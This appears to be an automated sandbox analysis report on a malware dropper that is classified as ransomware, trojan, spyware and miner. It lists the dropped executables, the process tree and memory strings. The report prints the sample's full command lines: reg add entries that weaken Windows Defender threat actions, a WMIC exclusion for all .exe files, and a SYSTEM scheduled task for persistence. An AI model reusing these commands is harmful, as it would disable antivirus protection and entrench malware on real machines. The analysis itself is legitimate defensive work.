Source: 8G7TUoanzGVBa0kCulY_TPPa.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: gHPYUEh253.exe

Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.rans.troj.adwa.spyw.evad.mine.winEXE@134/99@9/12

Source: C:\Users\user\Documents\piratemamm\ZwL0OipB1WfKucHfLydAfltr.exe

Code function: 8_2_00409606 wvsprintfW,GetLastError,FormatMessageW,FormatMessageW,FormatMessageW,lstrlenW,lstrlenW,lstrlenW,??2@YAPAXI@Z,lstrcpyW,lstrcpyW,lstrcpyW,??3@YAXPAX@Z,LocalFree,

8_2_00409606

Source: C:\Users\user\Documents\piratemamm\ZwL0OipB1WfKucHfLydAfltr.exe

Code function: 8_2_0040122A GetDiskFreeSpaceExW,SendMessageW,

8_2_0040122A

Source: C:\Users\user\Documents\piratemamm\8G7TUoanzGVBa0kCulY_TPPa.exe

Code function: 9_2_007337C6 CreateToolhelp32Snapshot,Module32First,

9_2_007337C6

Source: C:\Users\user\Documents\piratemamm\ZwL0OipB1WfKucHfLydAfltr.exe

Code function: 8_2_004092C1 GetDlgItem,GetDlgItem,SendMessageW,GetDlgItem,GetWindowLongW,GetDlgItem,SetWindowLongW,GetSystemMenu,EnableMenuItem,GetDlgItem,SetFocus,SetTimer,CoCreateInstance,GetDlgItem,IsWindow,GetDlgItem,EnableWindow,GetDlgItem,ShowWindow,

8_2_004092C1

Source: C:\Users\user\Documents\piratemamm\ZwL0OipB1WfKucHfLydAfltr.exe

Code function: 8_2_004020BF GetModuleHandleW,FindResourceExA,FindResourceExA,FindResourceExA,SizeofResource,LoadResource,LockResource,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,wsprintfW,LoadLibraryA,GetProcAddress,

8_2_004020BF

Source: C:\Users\user\Desktop\gHPYUEh253.exe

File created: C:\Users\user\Documents\piratemamm

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Mutant created: \BaseNamedObjects\Global\1_H69925949
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:5004:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3868:120:WilError_03
Source: C:\Users\user\Desktop\gHPYUEh253.exe	Mutant created: \Sessions\1\BaseNamedObjects\JarakHalgWW_14
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7996:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7812:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7804:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7620:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7476:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7312:120:WilError_03

Source: C:\Users\user\Documents\piratemamm\iyhiDENXt_q0EUrAsx1Gpb4x.exe

File created: C:\Users\user\AppData\Local\Temp\7zSFC24.tmp

Jump to behavior

Source: C:\Users\user\Documents\piratemamm\ZwL0OipB1WfKucHfLydAfltr.exe

Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"

Source: C:\Users\user\Documents\piratemamm\8G7TUoanzGVBa0kCulY_TPPa.exe

Command line argument: R@

9_2_00405230

Source: C:\Users\user\Documents\piratemamm\ZwL0OipB1WfKucHfLydAfltr.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\gHPYUEh253.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: RegAsm.exe, 0000000B.00000002.2403370417.000000001B2EE000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2437691328.000000006911F000.00000002.00000001.01000000.00000015.sdmp, RegAsm.exe, 0000000B.00000002.2434699347.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2613139862.000000001FA58000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2566357777.0000000019AED000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: RegAsm.exe, 0000000B.00000002.2403370417.000000001B2EE000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2437691328.000000006911F000.00000002.00000001.01000000.00000015.sdmp, RegAsm.exe, 0000000B.00000002.2434699347.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2613139862.000000001FA58000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2566357777.0000000019AED000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: RegAsm.exe, 0000000B.00000002.2403370417.000000001B2EE000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2437691328.000000006911F000.00000002.00000001.01000000.00000015.sdmp, RegAsm.exe, 0000000B.00000002.2434699347.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2613139862.000000001FA58000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2566357777.0000000019AED000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: RegAsm.exe, 0000000B.00000002.2403370417.000000001B2EE000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2437691328.000000006911F000.00000002.00000001.01000000.00000015.sdmp, RegAsm.exe, 0000000B.00000002.2434699347.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2613139862.000000001FA58000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2566357777.0000000019AED000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: RegAsm.exe, 0000000C.00000002.2613139862.000000001FA58000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2566357777.0000000019AED000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: INSERT INTO "%w"."%w"("%w") VALUES('integrity-check');
Source: RegAsm.exe, 0000000C.00000002.2613139862.000000001FA58000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2566357777.0000000019AED000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %s.'rbu_tmp_%q' AS SELECT *%s FROM '%q' WHERE 0;
Source: RegAsm.exe, RegAsm.exe, 0000000B.00000002.2403370417.000000001B2EE000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2437691328.000000006911F000.00000002.00000001.01000000.00000015.sdmp, RegAsm.exe, 0000000B.00000002.2434699347.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2613139862.000000001FA58000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2566357777.0000000019AED000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: RegAsm.exe, 0000000B.00000002.2403370417.000000001B2EE000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2434699347.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: RegAsm.exe, 0000000B.00000002.2403370417.000000001B2EE000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2437691328.000000006911F000.00000002.00000001.01000000.00000015.sdmp, RegAsm.exe, 0000000B.00000002.2434699347.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2613139862.000000001FA58000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2566357777.0000000019AED000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: RegAsm.exe, 0000000C.00000002.2613139862.000000001FA58000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2566357777.0000000019AED000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,nexec INT,ncycle INT,stmt HIDDEN);
Source: RegAsm.exe, 0000000B.00000002.2403370417.000000001B2EE000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2434699347.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2613139862.000000001FA58000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2566357777.0000000019AED000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: RegAsm.exe, 0000000B.00000002.2403370417.000000001B2EE000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2434699347.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2613139862.000000001FA58000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2566357777.0000000019AED000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);

Source: gHPYUEh253.exe	ReversingLabs: Detection: 60%
Source: gHPYUEh253.exe	Virustotal: Detection: 37%

Source: 8G7TUoanzGVBa0kCulY_TPPa.exe	String found in binary or memory: set-addPolicy
Source: 8G7TUoanzGVBa0kCulY_TPPa.exe	String found in binary or memory: id-cmc-addExtensions
Source: RegAsm.exe	String found in binary or memory: ft.com/en-us/office/examples-of-office-product-keys-7d48285b-20e8-4b9b-91ad-216e34163bad?wt.mc_id=enterpk2016&ui=en-us&rs=en-us&ad=us https://support.microsoft.com/en-us/topic/install-the-english-language-pack-for-32-bit-office-94ba2e0b-638e-4a92-8857-2cb5ac1d
Source: RegAsm.exe	String found in binary or memory: m/en-us/office/examples-of-office-product-keys-7d48285b-20e8-4b9b-91ad-216e34163bad?wt.mc_id=enterpk2016&ui=en-us&rs=en-us&ad=us https://support.microsoft.com/en-us/topic/install-the-english-language-pack-for-32-bit-office-94ba2e0b-638e-4a92-8857-2cb5ac1d8e17?

Source: unknown	Process created: C:\Users\user\Desktop\gHPYUEh253.exe "C:\Users\user\Desktop\gHPYUEh253.exe"
Source: C:\Users\user\Desktop\gHPYUEh253.exe	Process created: C:\Users\user\Documents\piratemamm\E7ZgIS5gIvcD0qYA4MsN8rsr.exe C:\Users\user\Documents\piratemamm\E7ZgIS5gIvcD0qYA4MsN8rsr.exe
Source: C:\Users\user\Desktop\gHPYUEh253.exe	Process created: C:\Users\user\Documents\piratemamm\3rS3zgtrHYzvSBWEegYZ8AEZ.exe C:\Users\user\Documents\piratemamm\3rS3zgtrHYzvSBWEegYZ8AEZ.exe
Source: C:\Users\user\Documents\piratemamm\E7ZgIS5gIvcD0qYA4MsN8rsr.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Documents\piratemamm\3rS3zgtrHYzvSBWEegYZ8AEZ.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\gHPYUEh253.exe	Process created: C:\Users\user\Documents\piratemamm\ZsQxSfwnc3ehFR9PxEV79BAM.exe C:\Users\user\Documents\piratemamm\ZsQxSfwnc3ehFR9PxEV79BAM.exe
Source: C:\Users\user\Desktop\gHPYUEh253.exe	Process created: C:\Users\user\Documents\piratemamm\iyhiDENXt_q0EUrAsx1Gpb4x.exe C:\Users\user\Documents\piratemamm\iyhiDENXt_q0EUrAsx1Gpb4x.exe
Source: C:\Users\user\Desktop\gHPYUEh253.exe	Process created: C:\Users\user\Documents\piratemamm\ZwL0OipB1WfKucHfLydAfltr.exe C:\Users\user\Documents\piratemamm\ZwL0OipB1WfKucHfLydAfltr.exe
Source: C:\Users\user\Desktop\gHPYUEh253.exe	Process created: C:\Users\user\Documents\piratemamm\8G7TUoanzGVBa0kCulY_TPPa.exe C:\Users\user\Documents\piratemamm\8G7TUoanzGVBa0kCulY_TPPa.exe
Source: C:\Users\user\Desktop\gHPYUEh253.exe	Process created: C:\Users\user\Documents\piratemamm\oOMgVil3z78TF92yUiI1jBjJ.exe C:\Users\user\Documents\piratemamm\oOMgVil3z78TF92yUiI1jBjJ.exe
Source: C:\Users\user\Documents\piratemamm\3rS3zgtrHYzvSBWEegYZ8AEZ.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Documents\piratemamm\E7ZgIS5gIvcD0qYA4MsN8rsr.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Documents\piratemamm\iyhiDENXt_q0EUrAsx1Gpb4x.exe	Process created: C:\Users\user\AppData\Local\Temp\7zSFC24.tmp\Install.exe .\Install.exe
Source: C:\Users\user\AppData\Local\Temp\7zSFC24.tmp\Install.exe	Process created: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe .\Install.exe /GKndidLyIt "525403" /S
Source: C:\Users\user\Documents\piratemamm\oOMgVil3z78TF92yUiI1jBjJ.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
Source: C:\Users\user\Documents\piratemamm\ZwL0OipB1WfKucHfLydAfltr.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Process created: C:\Windows\SysWOW64\forfiles.exe "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m ping.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mode.com mode 65,10
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e file.zip -p151921358818216190771159712614 -oextracted
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_9.zip -oextracted
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell start-process -WindowStyle Hidden gpupdate.exe /force
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /CREATE /TN "bGRMUcRlXIkCKIeoVz" /SC once /ST 00:18:00 /RU "SYSTEM" /TR "\"C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe\" u3 /hggdidOLc 525403 /S" /V1 /F
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_8.zip -oextracted
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\gpupdate.exe "C:\Windows\system32\gpupdate.exe" /force
Source: C:\Windows\SysWOW64\gpupdate.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_7.zip -oextracted
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe u3 /hggdidOLc 525403 /S
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_6.zip -oextracted
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_5.zip -oextracted
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_4.zip -oextracted
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\gHPYUEh253.exe	Process created: C:\Users\user\Documents\piratemamm\E7ZgIS5gIvcD0qYA4MsN8rsr.exe C:\Users\user\Documents\piratemamm\E7ZgIS5gIvcD0qYA4MsN8rsr.exe	Jump to behavior
Source: C:\Users\user\Desktop\gHPYUEh253.exe	Process created: C:\Users\user\Documents\piratemamm\3rS3zgtrHYzvSBWEegYZ8AEZ.exe C:\Users\user\Documents\piratemamm\3rS3zgtrHYzvSBWEegYZ8AEZ.exe	Jump to behavior
Source: C:\Users\user\Desktop\gHPYUEh253.exe	Process created: C:\Users\user\Documents\piratemamm\ZsQxSfwnc3ehFR9PxEV79BAM.exe C:\Users\user\Documents\piratemamm\ZsQxSfwnc3ehFR9PxEV79BAM.exe	Jump to behavior
Source: C:\Users\user\Desktop\gHPYUEh253.exe	Process created: C:\Users\user\Documents\piratemamm\iyhiDENXt_q0EUrAsx1Gpb4x.exe C:\Users\user\Documents\piratemamm\iyhiDENXt_q0EUrAsx1Gpb4x.exe	Jump to behavior
Source: C:\Users\user\Desktop\gHPYUEh253.exe	Process created: C:\Users\user\Documents\piratemamm\8G7TUoanzGVBa0kCulY_TPPa.exe C:\Users\user\Documents\piratemamm\8G7TUoanzGVBa0kCulY_TPPa.exe	Jump to behavior
Source: C:\Users\user\Desktop\gHPYUEh253.exe	Process created: C:\Users\user\Documents\piratemamm\ZwL0OipB1WfKucHfLydAfltr.exe C:\Users\user\Documents\piratemamm\ZwL0OipB1WfKucHfLydAfltr.exe	Jump to behavior
Source: C:\Users\user\Desktop\gHPYUEh253.exe	Process created: C:\Users\user\Documents\piratemamm\oOMgVil3z78TF92yUiI1jBjJ.exe C:\Users\user\Documents\piratemamm\oOMgVil3z78TF92yUiI1jBjJ.exe	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\E7ZgIS5gIvcD0qYA4MsN8rsr.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\3rS3zgtrHYzvSBWEegYZ8AEZ.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\ZsQxSfwnc3ehFR9PxEV79BAM.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\ZsQxSfwnc3ehFR9PxEV79BAM.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\ZsQxSfwnc3ehFR9PxEV79BAM.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\ZsQxSfwnc3ehFR9PxEV79BAM.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\ZsQxSfwnc3ehFR9PxEV79BAM.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\ZsQxSfwnc3ehFR9PxEV79BAM.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\ZsQxSfwnc3ehFR9PxEV79BAM.exe	Process created: unknown unknown	Jump to behavior
